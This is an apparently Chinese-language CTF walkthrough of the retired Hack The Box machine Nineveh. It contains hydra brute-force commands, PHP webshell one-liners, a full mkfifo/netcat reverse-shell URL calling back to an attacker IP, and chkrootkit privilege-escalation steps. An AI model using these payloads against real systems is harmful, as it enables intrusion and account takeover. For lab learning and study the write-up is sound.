本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.43
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令
autorecon 10.10.10.43 -o ./nineveh-autorecon
最终的扫描结果
gobuster dir -u http://10.10.10.43/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -o bmfx-nineveh.gobusters -t 100
gobuster dir -u https://nineveh.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -o bmfxhttps-nineveh.gobusters -k -t 100
根据上面扫出来的目录,都访问看看,得到如下
顺手看你了下网页源代码
得知用户名可能就是admin,密码就爆破下
hydra 10.10.10.43 -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!"
使用hydra进行爆破,得出密码
登录进去之后点击了每个功能点看到一个可疑的请求
猜测可能存在LFI,这里刚开始测试有点问题,最后才知道代码里面写了需要关键字才可执行
有文件包含就得有其他途径配合,上面扫描的结果中80端口已经探测的差不多了,看看443端口,有两个地址,一个是db另一个是secure_notes ,先访问db看看
是个phpLiteAdmin 1.9搜索下有没有漏洞可以利用
还真有,目标就写的1.9版本,拿八九不离十就可以利用看看,先用那个方便的远程代码执行漏洞
大概意思就是新建一个后缀为php的数据库然后里面新建一个字段带上php小马就可以了,但目前的问题是需要认证,没有登录密码,需要先破解密码,我这里还是使用hydra进行破解
hydra 10.10.10.43 -l user -P /usr/share/seclists/Passwords/Leaked-Databases/phpbb.txt https-post-form "/db/index.php:password=^PASS^&proc_login=true:Incorrect password"
这里需要注意一下,因为破解的目标不需要输入用户名,所以这里使用hydra进行破解可以随便指定一个用户就可以,密码是需要指定靠谱的字典进行爆破
得到密码登录上去,按照上面提到的exploit方式进行操作
这里需要注意的是,利用本靶机的LFI需要带关键字ninevehNotes,否则不能正常执行,我这就搞了有点时间,后来导致这类原因是我成功拿到目标权限查看代码得知,这里也看经验,有经验的话可能一下就猜出来是这样,没有的话,就看前面的信息搜集,搜集好的话有提示也能搞出来,所以php的代码执行时下面的一种都可以,当然其他形式只要能执行都可以
<?php echo system($_GET["bmfx"]); ?> <?php echo system($_REQUEST["bmfx"]); ?>
成功之后就是这样
到这里没啥问题就可以直接反弹shell了
http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&bmfx=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.5+8833+>/tmp/f
反弹的命令:rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.5+8833+>/tmp/f
访问上面的连接即可成功反弹shell
到用户的家目录翻看user.txt发现没有权限,看来是要横向提权到普通用户amrois ,这里卡了一会,回头看上面收集的信息,发现还有扫描出来的目录没看呢,访问看看
复制上面图片地址,使用wget下载下来看看
图片的话要看看地理位置信息,要看看隐写信息,要么就看看关键字符,这里使用strings查看下
发现用户amrois的私钥,直接拿到本地来连接登录,连接不上, 想起来扫描的时候22端口没开,然后在反弹的shell中执行网络连接命令,确认端口22是开放的,但是外面访问不了,此时如果有经验的话就知道使用了knock服务,需要敲击端口开放22端口
根据上面得到的敲击信息,直接敲一把
22端口开了,迅速使用密钥登录目标
成功拿到user.txt ,使用pspy枚举下当前运行的进程相关信息,下载地址:https://github.com/DominicBreuker/pspy/blob/master/README.md ,得出来目标靶机运行了chkrootkit
chkrootkit有一个本地提权漏洞,https://www.exploit-db.com/exploits/38775 不管是啥版本,先利用一把试试 ,看了提权代码,最终是要做的就是此程序会以root身份周期性执行/tmp/update的文件,所以我们只需要新建tmp目录下的update文件,里面写入反弹shell代码即可
这里使用哪个用户都可以成功,我这测试就是www-data用户